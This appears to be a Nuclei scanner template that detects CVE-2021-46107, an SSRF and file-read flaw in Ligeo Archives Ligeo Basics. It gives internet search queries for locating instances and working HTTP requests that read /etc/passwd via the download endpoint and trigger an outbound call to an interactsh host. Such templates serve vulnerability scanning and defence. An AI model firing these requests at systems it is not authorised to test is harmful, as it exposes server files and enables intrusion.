id: CVE-2021-46107

info:
  name: Ligeo Archives Ligeo Basics - Server Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    Ligeo Archives Ligeo Basics as of 02_01-2022 is vulnerable to Server Side Request Forgery (SSRF) which allows an attacker to read any documents via the download features.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Server Side Request Forgery vulnerability.
  reference:
    - https://raw.githubusercontent.com/Orange-Cyberdefense/CVE-repository/master/PoCs/POC_CVE-2021-46107.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46107
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46107
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    shodan-query: title:"Ligeo"
    fofa-query: title="Ligeo"
  tags: cve,cve2021,ligeo,ssrf,lfr

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /archive/download?file=file:///etc/passwd HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /archive/download?file=http://{{interactsh-url}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body_2) && contains(body_1, 'Ligeo Archives')"
          - "contains(interactsh_protocol, 'http') && contains(body_1, 'Ligeo Archives')"